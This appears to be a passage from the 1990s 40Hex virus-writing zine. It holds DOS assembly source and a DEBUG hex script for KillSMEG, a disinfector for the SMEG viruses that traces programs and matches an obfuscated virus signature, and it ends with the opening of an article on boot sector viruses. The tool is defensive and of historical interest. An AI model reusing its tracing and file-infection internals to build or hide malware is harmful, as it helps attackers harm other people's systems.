|
|||
|
|
|||
|
PrintFilename:
|
|||
|
mov si,9e
|
|||
|
PrintFN:
|
|||
|
lodsb
|
|||
|
or al,al
|
|||
|
jz doneprintfn
|
|||
|
mov ah,02
|
|||
|
mov dl,al
|
|||
|
int 21
|
|||
|
jmp Printfn
|
|||
|
DonePrintFN:
|
|||
|
ret
|
|||
|
|
|||
|
LoadAndCheckFile:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,ds:[2c]
|
|||
|
mov EnvSeg,ax
|
|||
|
mov ax,ds
|
|||
|
mov word ptr [CommandTail+2],ax
|
|||
|
mov word ptr [FCB1+2],ax
|
|||
|
mov word ptr [FCB2+2],ax
|
|||
|
mov ax,offset ParmData
|
|||
|
mov word ptr [CommandTail],ax
|
|||
|
mov word ptr [FCB1],ax
|
|||
|
mov word ptr [FCB2],ax
|
|||
|
|
|||
|
mov ax,3501
|
|||
|
int 21
|
|||
|
mov IP01,bx
|
|||
|
mov CS01,es ;Get int 1 vector
|
|||
|
|
|||
|
mov ax,2501
|
|||
|
mov dx,offset Int01 ;And set it
|
|||
|
int 21
|
|||
|
mov ax,ss
|
|||
|
mov Oldss,ax
|
|||
|
mov oldsp,sp
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
LoadFile:
|
|||
|
mov ax,4b01
|
|||
|
mov bx,offset ParmBlock
|
|||
|
mov dx,9e
|
|||
|
int 21
|
|||
|
jc ErrorExecute
|
|||
|
SetupExec:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,2522
|
|||
|
mov dx,offset ExecuteTerminated
|
|||
|
int 21 ;Set Termination address
|
|||
|
|
|||
|
mov ah,62
|
|||
|
int 21
|
|||
|
push bx bx
|
|||
|
pop es ds
|
|||
|
|
|||
|
mov word ptr cs:[StartDS],bx
|
|||
|
|
|||
|
mov ax,cs
|
|||
|
mov word ptr ds:[0a],offset ExecuteTerminated
|
|||
|
mov word ptr ds:[0c],ax ;Set Termination Address
|
|||
|
|
|||
|
cli
|
|||
|
mov ax,word ptr cs:[NewStack+2]
|
|||
|
mov ss,ax
|
|||
|
mov sp,word ptr cs:[NewStack]
|
|||
|
sti
|
|||
|
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
or ax,0100
|
|||
|
xor bx,bx
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
mov si,100
|
|||
|
xor di,di
|
|||
|
xor bp,bp
|
|||
|
push word ptr cs:[NewCS]
|
|||
|
push word ptr cs:[NewIP]
|
|||
|
push ax
|
|||
|
popf
|
|||
|
retf
|
|||
|
|
|||
|
ExecuteTerminated:
|
|||
|
cld
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
and ax,not 100 ;ditch trapflag
|
|||
|
push ax
|
|||
|
popf
|
|||
|
cli
|
|||
|
mov ax,cs:[OldSS]
|
|||
|
mov ss,ax
|
|||
|
mov sp,cs:[OldSP]
|
|||
|
sti
|
|||
|
lds dx,dword ptr cs:[IP01]
|
|||
|
mov ax,2501
|
|||
|
int 21
|
|||
|
push cs cs
|
|||
|
pop es ds
|
|||
|
|
|||
|
mov ah,1a
|
|||
|
mov dx,80 ;Reset DTA
|
|||
|
int 21
|
|||
|
ErrorExecute:
|
|||
|
ret
|
|||
|
|
|||
|
OldSS dw 0
|
|||
|
OldSP dw 0
|
|||
|
|
|||
|
|
|||
|
Int01:
|
|||
|
cld
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
add bp,2
|
|||
|
push ax bx cx dx es ds si di
|
|||
|
cmp cs:TraceDone,1
|
|||
|
je DOneInt01
|
|||
|
call CheckESDS
|
|||
|
call CheckOPCode
|
|||
|
jne DoneInt01
|
|||
|
call InitScanString
|
|||
|
call ScanMemory
|
|||
|
call InitScanString
|
|||
|
|
|||
|
DoneInt01:
|
|||
|
pop di si ds es dx cx bx ax
|
|||
|
pop bp
|
|||
|
iret
|
|||
|
|
|||
|
InitScanString:
|
|||
|
push ds si cx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,offset QueegScan1
|
|||
|
mov cx,EndScan1-QueegScan1
|
|||
|
DecryptString:
|
|||
|
xor byte ptr [si],42
|
|||
|
inc si
|
|||
|
loop DecryptString
|
|||
|
pop cx si ds
|
|||
|
ret
|
|||
|
|
|||
|
TerminateProgram:
|
|||
|
mov byte ptr cs:[TraceDone],1
|
|||
|
mov ax,4c00
|
|||
|
int 21
|
|||
|
|
|||
|
CheckOpCode:
|
|||
|
mov si,[bp+2]
|
|||
|
mov ds,si
|
|||
|
mov si,[bp]
|
|||
|
cmp byte ptr dS:[si],0cdh
|
|||
|
je NonvalidOp
|
|||
|
cmp byte ptr ds:[si],0eah
|
|||
|
je NonvalidOp
|
|||
|
cmp byte ptr ds:[si],09ah
|
|||
|
je NonvalidOp
|
|||
|
cmp byte ptr ds:[si],0abh
|
|||
|
je NonvalidOp
|
|||
|
cmp byte ptr ds:[si],0adh
|
|||
|
je NonvalidOp
|
|||
|
mov al,byte ptr ds:[si]
|
|||
|
and al,0f0
|
|||
|
cmp al,60
|
|||
|
je NonvalidOp
|
|||
|
cmp al,90
|
|||
|
je NonvalidOp
|
|||
|
cmp al,0a0
|
|||
|
je NonvalidOp
|
|||
|
cmp word ptr ds:[si],00e8
|
|||
|
jne ExitOpTest
|
|||
|
cmp word ptr ds:[si+2],5800
|
|||
|
ExitOpTest:
|
|||
|
ret
|
|||
|
|
|||
|
NonValidOp:
|
|||
|
jmp TerminatePRogram
|
|||
|
|
|||
|
|
|||
|
CheckESDS:
|
|||
|
mov ax,[bp+2]
|
|||
|
cmp ax,word ptr cs:[NewCS]
|
|||
|
je CSOkay
|
|||
|
jmp TerminateProgram
|
|||
|
CSOkay:
|
|||
|
mov ax,[bp+2]
|
|||
|
mov bx,ds
|
|||
|
cmp bx,ax
|
|||
|
jne DSNotEqualCS
|
|||
|
CheckES:
|
|||
|
mov bx,es
|
|||
|
cmp bx,ax
|
|||
|
jne ESNotEqualCS
|
|||
|
ExitSEGCheck:
|
|||
|
ret
|
|||
|
DSNotEqualCS:
|
|||
|
cmp bx,word ptr cs:[StartDS]
|
|||
|
je CheckES
|
|||
|
mov byte ptr cs:[TraceDone],1
|
|||
|
jmp TerminateProgram
|
|||
|
ESNotEqualCS:
|
|||
|
cmp bx,word ptr cs:[StartDS]
|
|||
|
je ExitSEGCheck
|
|||
|
mov byte ptr cs:[TraceDone],1
|
|||
|
jmp TerminateProgram
|
|||
|
|
|||
|
ScanMemory:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,offset QueegScan1
|
|||
|
mov di,[bp+2]
|
|||
|
mov es,di
|
|||
|
mov di,[bp]
|
|||
|
mov cx,800
|
|||
|
lodsb
|
|||
|
SearchForString:
|
|||
|
repnz scasb
|
|||
|
jcxz StringNotFound
|
|||
|
push ax cx si di
|
|||
|
mov cx,0bh
|
|||
|
repz cmpsb
|
|||
|
jcxz StringFound
|
|||
|
pop di si cx ax
|
|||
|
jmp SearchForString
|
|||
|
StringFound:
|
|||
|
pop di si cx ax
|
|||
|
SaveInfo:
|
|||
|
dec di ;ES:DI = beginning of virus
|
|||
|
push es di
|
|||
|
pop si ds
|
|||
|
|
|||
|
;ds:si+133 22 c0 75 19 bb 00 01 2e a1
|
|||
|
MakeSureKnowVir:
|
|||
|
cmp word ptr ds:[si+33],0c022
|
|||
|
jne NotKnown
|
|||
|
cmp word ptr ds:[si+39],2e01
|
|||
|
jne NotKnown
|
|||
|
mov byte ptr cs:[knownvir],1
|
|||
|
jmp DoneVarCheck
|
|||
|
NotKnown:
|
|||
|
mov byte ptr cs:[knownvir],0
|
|||
|
DoneVarCheck:
|
|||
|
mov bx,si
|
|||
|
sub bx,100
|
|||
|
|
|||
|
mov si,word ptr ds:[bx+13c]
|
|||
|
add si,bx
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset COMStorage
|
|||
|
movsw
|
|||
|
movsb
|
|||
|
|
|||
|
mov si,word ptr ds:[bx+164]
|
|||
|
add si,bx
|
|||
|
mov di,offset EXEStack
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
mov si,word ptr ds:[bx+171]
|
|||
|
add si,bx
|
|||
|
mov di,offset EXEInstruct
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
MarkInfected:
|
|||
|
mov byte ptr cs:[Infected],1
|
|||
|
call InitScanString
|
|||
|
jmp TerminateProgram
|
|||
|
StringNotFound:
|
|||
|
ret
|
|||
|
|
|||
|
OutOfMemory:
|
|||
|
mov dx,offset OOM
|
|||
|
ErrExit:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah,9
|
|||
|
int 21
|
|||
|
mov ax,4c02
|
|||
|
int 21
|
|||
|
|
|||
|
ErrorClean:
|
|||
|
mov dx,offset FileError
|
|||
|
mov ah,09
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
int 21
|
|||
|
jmp Dealloc
|
|||
|
|
|||
|
DisinfCom:
|
|||
|
mov ah,48
|
|||
|
mov bx,1000
|
|||
|
int 21
|
|||
|
jc OutOfMemory
|
|||
|
mov es,ax
|
|||
|
mov dx,9e
|
|||
|
mov ax,3d00
|
|||
|
int 21
|
|||
|
jc ErrorClean
|
|||
|
xchg bx,ax
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
xor dx,dx
|
|||
|
mov cx,word ptr cs:[ComJump]
|
|||
|
add cx,3
|
|||
|
mov ah,3f
|
|||
|
int 21
|
|||
|
push ax
|
|||
|
mov ah,3e
|
|||
|
int 21
|
|||
|
mov ax,word ptr cs:[COMStorage]
|
|||
|
mov word ptr ds:[0],ax
|
|||
|
mov al,byte ptr cs:[ComStorage+2]
|
|||
|
mov byte ptr ds:[2],al
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah,3c
|
|||
|
xor cx,cx
|
|||
|
mov dx,9e
|
|||
|
int 21
|
|||
|
pop cx
|
|||
|
jc ErrorClean
|
|||
|
xchg bx,ax
|
|||
|
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov ah,40
|
|||
|
xor dx,dx
|
|||
|
int 21
|
|||
|
|
|||
|
mov ah,3e
|
|||
|
int 21
|
|||
|
DeAlloc:
|
|||
|
mov ah,49
|
|||
|
int 21
|
|||
|
push cs cs
|
|||
|
pop es ds
|
|||
|
ret
|
|||
|
|
|||
|
EXEErrorClean:
|
|||
|
mov dx,offset FileError
|
|||
|
mov ah,09
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
int 21
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
DisinfEXE:
|
|||
|
int 3
|
|||
|
mov ah,41
|
|||
|
mov dx,offset TMPFile
|
|||
|
int 21
|
|||
|
|
|||
|
push cs cs
|
|||
|
pop es ds
|
|||
|
mov dx,9e
|
|||
|
mov ax,3d02 ;open file
|
|||
|
int 21
|
|||
|
jnc EXECOpenGood
|
|||
|
jmp EXEErrorClean
|
|||
|
ExecOpenGood:
|
|||
|
xchg bx,ax
|
|||
|
mov cx,20
|
|||
|
mov ah,3f
|
|||
|
mov dx,offset ExecHeader
|
|||
|
int 21
|
|||
|
mov di,offset Execheader+0e
|
|||
|
mov si,offset ExeStack
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
xor bp,bp
|
|||
|
mov di,offset execheader+14
|
|||
|
mov dx,[di+2] ;DX:AX = new filesize kinda
|
|||
|
mov ax,[di]
|
|||
|
mov cl,4
|
|||
|
shl dx,cl
|
|||
|
adc bp,0
|
|||
|
add ax,dx
|
|||
|
adc bp,0
|
|||
|
mov dx,bp ;DX:AX = filesize w/o header
|
|||
|
mov cx,word ptr [execheader+08]
|
|||
|
shl cx,1
|
|||
|
shl cx,1
|
|||
|
shl cx,1
|
|||
|
shl cx,1
|
|||
|
add ax,cx
|
|||
|
adc dx,0 ;Header now calculated in
|
|||
|
mov ExeSizeHigh,dx
|
|||
|
mov ExeSizeLow,ax
|
|||
|
and ax,1ff ;modulo 512
|
|||
|
mov word ptr [execheader+2],ax
|
|||
|
mov ax,EXESizeLow
|
|||
|
mov cx,7
|
|||
|
shl dx,cl
|
|||
|
mov word ptr [execheader+4],dx
|
|||
|
mov cx,9
|
|||
|
add ax,1ff
|
|||
|
shr ax,cl
|
|||
|
add word ptr [execheader+4],ax
|
|||
|
|
|||
|
mov si,offset ExeInstruct
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
mov ax,4200
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21
|
|||
|
mov ah,40
|
|||
|
mov dx,offset execheader
|
|||
|
mov cx,20
|
|||
|
int 21
|
|||
|
mov ah,3e
|
|||
|
int 21
|
|||
|
|
|||
|
mov ah,56
|
|||
|
mov dx,9e
|
|||
|
mov di,offset TmpFile ;Rename file
|
|||
|
int 21
|
|||
|
|
|||
|
mov ah,3c
|
|||
|
mov dx,9e
|
|||
|
xor cx,cx
|
|||
|
int 21
|
|||
|
mov Dest,ax
|
|||
|
mov ax,3d00
|
|||
|
mov dx,offset TmpFile
|
|||
|
int 21
|
|||
|
mov Source,ax
|
|||
|
|
|||
|
CopyLoop:
|
|||
|
mov cx,400
|
|||
|
cmp word ptr [EXESizeHIgh],0
|
|||
|
jne FullSize
|
|||
|
cmp word ptr [ExeSizeLow],400
|
|||
|
ja FullSize
|
|||
|
mov cx,word ptr [ExeSizeLow]
|
|||
|
FullSize:
|
|||
|
sub word ptr [ExeSizeLow],400
|
|||
|
sbb word ptr [ExeSizeHigh],0
|
|||
|
mov ah,3f
|
|||
|
mov bx,Source
|
|||
|
mov dx,offset CopyBuffer
|
|||
|
int 21
|
|||
|
|
|||
|
mov cx,ax
|
|||
|
mov ah,40
|
|||
|
mov bx,Dest
|
|||
|
mov dx,offset CopyBuffer
|
|||
|
int 21
|
|||
|
|
|||
|
cmp ax,400
|
|||
|
je CopyLoop
|
|||
|
|
|||
|
CloseUP:
|
|||
|
mov ah,3e
|
|||
|
mov bx,Dest
|
|||
|
int 21
|
|||
|
mov ah,3e
|
|||
|
mov bx,Source
|
|||
|
int 21
|
|||
|
DoneDis:
|
|||
|
mov ah,41
|
|||
|
mov dx,offset TMPFile
|
|||
|
int 21
|
|||
|
ret
|
|||
|
|
|||
|
Source dw 0
|
|||
|
Dest dw 0
|
|||
|
OldInt01:
|
|||
|
IP01 dw 0
|
|||
|
CS01 dw 0
|
|||
|
|
|||
|
TraceDone db 0
|
|||
|
StartDS dw 0
|
|||
|
|
|||
|
|
|||
|
ParmBlock:
|
|||
|
EnvSeg dw 0
|
|||
|
CommandTail dd 0
|
|||
|
FCB1 dd 0
|
|||
|
FCB2 dd 0
|
|||
|
NewStack dd 0
|
|||
|
NewIP dw 0
|
|||
|
NEWCS dw 0
|
|||
|
|
|||
|
Tmpfile db 'KQTMP',0
|
|||
|
NewVar db ' - New Variant of SMEG!',0a,0dh,24
|
|||
|
FileError db 'Sorry, File Error.',07,0a,0dh,24
|
|||
|
OOM db 'Sorry, Out Of Memory',07,0a,0dh,24
|
|||
|
Checking db 'Checking $'
|
|||
|
OpenError db ' - Error Opening.'
|
|||
|
DoneChecking db 0a,0dh,24
|
|||
|
TimeMSG db ' - Time stamp is suspicious of SMEG.Queeg signature.',0a,0dh,24
|
|||
|
pathtimemsg db ' - Time stamp is suspicious of SMEG.Pathogen signature.',0a,0dh,24
|
|||
|
InfectedMSG db ' - INFECTED WITH SMEG!',0a,0dh
|
|||
|
db 'Disinfect (y/N)?',7,24
|
|||
|
IntroMSG db 0a,0dh,'KillSMEG (c) 1994 Stormbringer, Phalcon/Skism.',0a,0dh
|
|||
|
db 'Finds and disinfects the 2 known SMEG viruses in the current directory.',0a,0dh,24
|
|||
|
|
|||
|
Instructions:
|
|||
|
db 'Usage : KILLSMEG Filemask (COM once, then EXE once is recommended)',0a,0dh
|
|||
|
db 'Example: KILLSMEG *.COM',0a,0dh,24
|
|||
|
|
|||
|
QueegScan1:
|
|||
|
db 0E8 xor 42, 00 xor 42, 00 xor 42, 58 xor 42, 0FE xor 42, 0CC xor 42
|
|||
|
db 0B1 xor 42, 04 xor 42, 0D3 xor 42, 0E8 xor 42, 08C xor 42, 0CBh xor 42 ;Initializing Code
|
|||
|
EndScan1:
|
|||
|
;QueegScan2:
|
|||
|
;db 0B8, 0EF, 18, 0CDh, 21, 3Dh, 10, 0E7, 75, 01, 0C3, 0E8 ;Installation Check
|
|||
|
|
|||
|
|
|||
|
ParmData db 40 dup(0)
|
|||
|
knownvir db 0
|
|||
|
Jmpbyte db 0
|
|||
|
COMJump db 0,0
|
|||
|
|
|||
|
Infected db 0
|
|||
|
COMEXE db 0 ;0 for COM, 1 for EXE
|
|||
|
EXECCheck dw 0,0
|
|||
|
|
|||
|
COMStorage db 0,0,0
|
|||
|
EXEStack dd 0
|
|||
|
EXEInstruct dd 0
|
|||
|
|
|||
|
;0f9d-SP 0f9b-SS 0fa0-IP:CS
|
|||
|
ExeSizeLow dw 0
|
|||
|
EXESizeHigh dw 0
|
|||
|
|
|||
|
|
|||
|
Filenamebuf db 80d dup (?)
|
|||
|
ExecHeader db 20 dup(?)
|
|||
|
CopyBuffer db 400 dup(?)
|
|||
|
StackBuffer db 1000 dup(?)
|
|||
|
TopStack:
|
|||
|
|
|||
|
endfinder:
|
|||
|
end start
|
|||
|
---------------------------
|
|||
|
N KILLSMEG.COM
|
|||
|
E 0100 B4 4A BB CC 01 CD 21 BC C0 1C B4 09 BA 0C 07 CD
|
|||
|
E 0110 21 80 3E 80 00 01 77 0C B4 09 BA 88 07 CD 21 B8
|
|||
|
E 0120 00 4C CD 21 BE 82 00 BF 50 08 AC 3C 0D 74 03 AA
|
|||
|
E 0130 EB F8 32 C0 AA B4 4E BA 50 08 B9 07 00 CD 21 73
|
|||
|
E 0140 03 E9 BE 00 E8 D6 00 8B 0E 96 00 80 E1 1F 80 F9
|
|||
|
E 0150 1C 75 03 E8 B1 00 8B 0E 98 00 80 FD C8 72 03 E8
|
|||
|
E 0160 B0 00 B8 00 3D BA 9E 00 CD 21 73 03 E9 87 00 93
|
|||
|
E 0170 BA 3D 08 B9 04 00 B4 3F CD 21 B4 3E CD 21 A1 3D
|
|||
|
E 0180 08 32 E0 80 FC 17 74 11 0E 07 BF 38 08 BE 3D 08
|
|||
|
E 0190 A4 A5 C6 06 3C 08 00 EB 05 C6 06 3C 08 01 C6 06
|
|||
|
E 01A0 3B 08 00 90 C6 06 EC 05 00 90 E8 93 00 80 3E 3B
|
|||
|
E 01B0 08 01 75 3D E8 78 00 80 3E 37 08 01 74 0A B4 09
|
|||
|
E 01C0 BA 0B 06 CD 21 EB 2A 90 B4 09 BA E2 06 CD 21 33
|
|||
|
E 01D0 C0 CD 16 50 BA 6E 06 B4 09 CD 21 58 0C 20 3C 79
|
|||
|
E 01E0 75 0F 80 3E 3C 08 01 74 05 E8 85 02 EB 03 E8 E7
|
|||
|
E 01F0 02 B4 4F E9 47 FF E8 36 00 B4 09 BA 5D 06 CD 21
|
|||
|
E 0200 EB EF B8 00 4C CD 21 E8 25 00 B4 09 BA 71 06 CD
|
|||
|
E 0210 21 C3 E8 1A 00 B4 09 BA A8 06 CD 21 C3 BA 53 06
|
|||
|
E 0220 B4 09 CD 21 E8 08 00 BA 6E 06 B4 09 CD 21 C3 BE
|
|||
|
E 0230 9E 00 AC 0A C0 74 08 B4 02 8A D0 CD 21 EB F3 C3
|
|||
|
E 0240 0E 1F A1 2C 00 A3 EF 05 8C D8 A3 F3 05 A3 F7 05
|
|||
|
E 0250 A3 FB 05 B8 F7 07 A3 F1 05 A3 F5 05 A3 F9 05 B8
|
|||
|
E 0260 01 35 CD 21 89 1E E8 05 8C 06 EA 05 B8 01 25 BA
|
|||
|
E 0270 09 03 CD 21 8C D0 A3 05 03 89 26 07 03 0E 07 B8
|
|||
|
E 0280 01 4B BB EF 05 BA 9E 00 CD 21 72 78 0E 1F B8 22
|
|||
|
E 0290 25 BA DA 02 CD 21 B4 62 CD 21 53 53 07 1F 2E 89
|
|||
|
E 02A0 1E ED 05 8C C8 C7 06 0A 00 DA 02 A3 0C 00 FA 2E
|
|||
|
E 02B0 A1 FF 05 8E D0 2E 8B 26 FD 05 FB 9C 58 0D 00 01
|
|||
|
E 02C0 33 DB 33 C9 33 D2 BE 00 01 33 FF 33 ED 2E FF 36
|
|||
|
E 02D0 03 06 2E FF 36 01 06 50 9D CB FC 9C 58 25 FF FE
|
|||
|
E 02E0 50 9D FA 2E A1 05 03 8E D0 2E 8B 26 07 03 FB 2E
|
|||
|
E 02F0 C5 16 E8 05 B8 01 25 CD 21 0E 0E 07 1F B4 1A BA
|
|||
|
E 0300 80 00 CD 21 C3 00 00 00 00 FC 55 8B EC 83 C5 02
|
|||
|
E 0310 50 53 51 52 06 1E 56 57 2E 80 3E EC 05 01 74 11
|
|||
|
E 0320 E8 77 00 E8 35 00 75 09 E8 10 00 E8 A7 00 E8 0A
|
|||
|
E 0330 00 5F 5E 1F 07 5A 59 5B 58 5D CF 1E 56 51 0E 1F
|
|||
|
E 0340 BE EB 07 B9 0C 00 80 34 42 46 E2 FA 59 5E 1F C3
|
|||
|
E 0350 2E C6 06 EC 05 01 B8 00 4C CD 21 8B 76 02 8E DE
|
|||
|
E 0360 8B 76 00 80 3C CD 74 30 80 3C EA 74 2B 80 3C 9A
|
|||
|
E 0370 74 26 80 3C AB 74 21 80 3C AD 74 1C 8A 04 24 F0
|
|||
|
E 0380 3C 60 74 14 3C 90 74 10 3C A0 74 0C 81 3C E8 00
|
|||
|
E 0390 75 05 81 7C 02 00 58 C3 EB B6 8B 46 02 2E 3B 06
|
|||
|
E 03A0 03 06 74 02 EB AA 8B 46 02 8C DB 3B D8 75 07 8C
|
|||
|
E 03B0 C3 3B D8 75 10 C3 2E 3B 1E ED 05 74 F2 2E C6 06
|
|||
|
E 03C0 EC 05 01 EB 8B 2E 3B 1E ED 05 74 E9 2E C6 06 EC
|
|||
|
E 03D0 05 01 E9 7B FF 0E 1F BE EB 07 8B 7E 02 8E C7 8B
|
|||
|
E 03E0 7E 00 B9 00 08 AC F2 AE E3 6C 50 51 56 57 B9 0B
|
|||
|
E 03F0 00 F3 A6 E3 06 5F 5E 59 58 EB EB 5F 5E 59 58 4F
|
|||
|
E 0400 06 57 5E 1F 81 7C 33 22 C0 75 10 81 7C 39 01 2E
|
|||
|
E 0410 75 09 2E C6 06 37 08 01 EB 07 90 2E C6 06 37 08
|
|||
|
E 0420 00 8B DE 81 EB 00 01 8B B7 3C 01 03 F3 0E 07 BF
|
|||
|
E 0430 41 08 A5 A4 8B B7 64 01 03 F3 BF 44 08 A5 A5 8B
|
|||
|
E 0440 B7 71 01 03 F3 BF 48 08 A5 A5 2E C6 06 3B 08 01
|
|||
|
E 0450 E8 E8 FE E9 FA FE C3 BA 3B 06 0E 1F B4 09 CD 21
|
|||
|
E 0460 B8 02 4C CD 21 BA 25 06 B4 09 0E 1F CD 21 EB 55
|
|||
|
E 0470 90 B4 48 BB 00 10 CD 21 72 DD 8E C0 BA 9E 00 B8
|
|||
|
E 0480 00 3D CD 21 72 DF 93 06 1F 33 D2 2E 8B 0E 39 08
|
|||
|
E 0490 83 C1 03 B4 3F CD 21 50 B4 3E CD 21 2E A1 41 08
|
|||
|
E 04A0 A3 00 00 2E A0 43 08 A2 02 00 0E 1F B4 3C 33 C9
|
|||
|
E 04B0 BA 9E 00 CD 21 59 72 AD 93 06 1F B4 40 33 D2 CD
|
|||
|
E 04C0 21 B4 3E CD 21 B4 49 CD 21 0E 0E 07 1F C3 BA 25
|
|||
|
E 04D0 06 B4 09 0E 1F CD 21 C3 CC B4 41 BA 05 06 CD 21
|
|||
|
E 04E0 0E 0E 07 1F BA 9E 00 B8 02 3D CD 21 73 02 EB DE
|
|||
|
E 04F0 93 B9 20 00 B4 3F BA A0 08 CD 21 BF AE 08 BE 44
|
|||
|
E 0500 08 A5 A5 33 ED BF B4 08 8B 55 02 8B 05 B1 04 D3
|
|||
|
E 0510 E2 83 D5 00 03 C2 83 D5 00 8B D5 8B 0E A8 08 D1
|
|||
|
E 0520 E1 D1 E1 D1 E1 D1 E1 03 C1 83 D2 00 89 16 4E 08
|
|||
|
E 0530 A3 4C 08 25 FF 01 A3 A2 08 A1 4C 08 B9 07 00 D3
|
|||
|
E 0540 E2 89 16 A4 08 B9 09 00 05 FF 01 D3 E8 01 06 A4
|
|||
|
E 0550 08 BE 48 08 A5 A5 B8 00 42 33 C9 33 D2 CD 21 B4
|
|||
|
E 0560 40 BA A0 08 B9 20 00 CD 21 B4 3E CD 21 B4 56 BA
|
|||
|
E 0570 9E 00 BF 05 06 CD 21 B4 3C BA 9E 00 33 C9 CD 21
|
|||
|
E 0580 A3 E6 05 B8 00 3D BA 05 06 CD 21 A3 E4 05 B9 00
|
|||
|
E 0590 04 83 3E 4E 08 00 75 0C 81 3E 4C 08 00 04 77 04
|
|||
|
E 05A0 8B 0E 4C 08 81 2E 4C 08 00 04 83 1E 4E 08 00 B4
|
|||
|
E 05B0 3F 8B 1E E4 05 BA C0 08 CD 21 8B C8 B4 40 8B 1E
|
|||
|
E 05C0 E6 05 BA C0 08 CD 21 3D 00 04 74 C2 B4 3E 8B 1E
|
|||
|
E 05D0 E6 05 CD 21 B4 3E 8B 1E E4 05 CD 21 B4 41 BA 05
|
|||
|
E 05E0 06 CD 21 C3 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0600 00 00 00 00 00 4B 51 54 4D 50 00 20 2D 20 4E 65
|
|||
|
E 0610 77 20 56 61 72 69 61 6E 74 20 6F 66 20 53 4D 45
|
|||
|
E 0620 47 21 0A 0D 24 53 6F 72 72 79 2C 20 46 69 6C 65
|
|||
|
E 0630 20 45 72 72 6F 72 2E 07 0A 0D 24 53 6F 72 72 79
|
|||
|
E 0640 2C 20 4F 75 74 20 4F 66 20 4D 65 6D 6F 72 79 07
|
|||
|
E 0650 0A 0D 24 43 68 65 63 6B 69 6E 67 20 24 20 2D 20
|
|||
|
E 0660 45 72 72 6F 72 20 4F 70 65 6E 69 6E 67 2E 0A 0D
|
|||
|
E 0670 24 20 2D 20 54 69 6D 65 20 73 74 61 6D 70 20 69
|
|||
|
E 0680 73 20 73 75 73 70 69 63 69 6F 75 73 20 6F 66 20
|
|||
|
E 0690 53 4D 45 47 2E 51 75 65 65 67 20 73 69 67 6E 61
|
|||
|
E 06A0 74 75 72 65 2E 0A 0D 24 20 2D 20 54 69 6D 65 20
|
|||
|
E 06B0 73 74 61 6D 70 20 69 73 20 73 75 73 70 69 63 69
|
|||
|
E 06C0 6F 75 73 20 6F 66 20 53 4D 45 47 2E 50 61 74 68
|
|||
|
E 06D0 6F 67 65 6E 20 73 69 67 6E 61 74 75 72 65 2E 0A
|
|||
|
E 06E0 0D 24 20 2D 20 49 4E 46 45 43 54 45 44 20 57 49
|
|||
|
E 06F0 54 48 20 53 4D 45 47 21 0A 0D 44 69 73 69 6E 66
|
|||
|
E 0700 65 63 74 20 28 79 2F 4E 29 3F 07 24 0A 0D 4B 69
|
|||
|
E 0710 6C 6C 53 4D 45 47 20 28 63 29 20 31 39 39 34 20
|
|||
|
E 0720 53 74 6F 72 6D 62 72 69 6E 67 65 72 2C 20 50 68
|
|||
|
E 0730 61 6C 63 6F 6E 2F 53 6B 69 73 6D 2E 0A 0D 46 69
|
|||
|
E 0740 6E 64 73 20 61 6E 64 20 64 69 73 69 6E 66 65 63
|
|||
|
E 0750 74 73 20 74 68 65 20 32 20 6B 6E 6F 77 6E 20 53
|
|||
|
E 0760 4D 45 47 20 76 69 72 75 73 65 73 20 69 6E 20 74
|
|||
|
E 0770 68 65 20 63 75 72 72 65 6E 74 20 64 69 72 65 63
|
|||
|
E 0780 74 6F 72 79 2E 0A 0D 24 55 73 61 67 65 20 3A 20
|
|||
|
E 0790 20 20 20 4B 49 4C 4C 53 4D 45 47 20 46 69 6C 65
|
|||
|
E 07A0 6D 61 73 6B 20 28 43 4F 4D 20 6F 6E 63 65 2C 20
|
|||
|
E 07B0 74 68 65 6E 20 45 58 45 20 6F 6E 63 65 20 69 73
|
|||
|
E 07C0 20 72 65 63 6F 6D 6D 65 6E 64 65 64 29 0A 0D 45
|
|||
|
E 07D0 78 61 6D 70 6C 65 3A 20 20 20 4B 49 4C 4C 53 4D
|
|||
|
E 07E0 45 47 20 2A 2E 43 4F 4D 0A 0D 24 AA 42 42 1A BC
|
|||
|
E 07F0 8E F3 46 91 AA CE 89 00 00 00 00 00 00 00 00 00
|
|||
|
E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
RCX
|
|||
|
0750
|
|||
|
W
|
|||
|
Q
|
|||
|
---------------------------
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 003
|
|||
|
|
|||
|
Boot Infectors
|
|||
|
By Dark Angel of Phalcon/Skism
|
|||
|
|
|||
|
As most of our readers have no doubt noticed, 40Hex articles have
|
|||
|
traditionally covered file based viruses. It is time to fill in the hole and
|
|||
|
cover the other large class of viruses, the partition table and boot sector
|
|||
|
viruses, herein termed "boot infectors" for brevity.
|
|||
|
File based viruses are executed after the operating system loads. Boot
|
|||
|
infectors, however, latch onto the parts of the drive that are accessed by the
|
|||
|
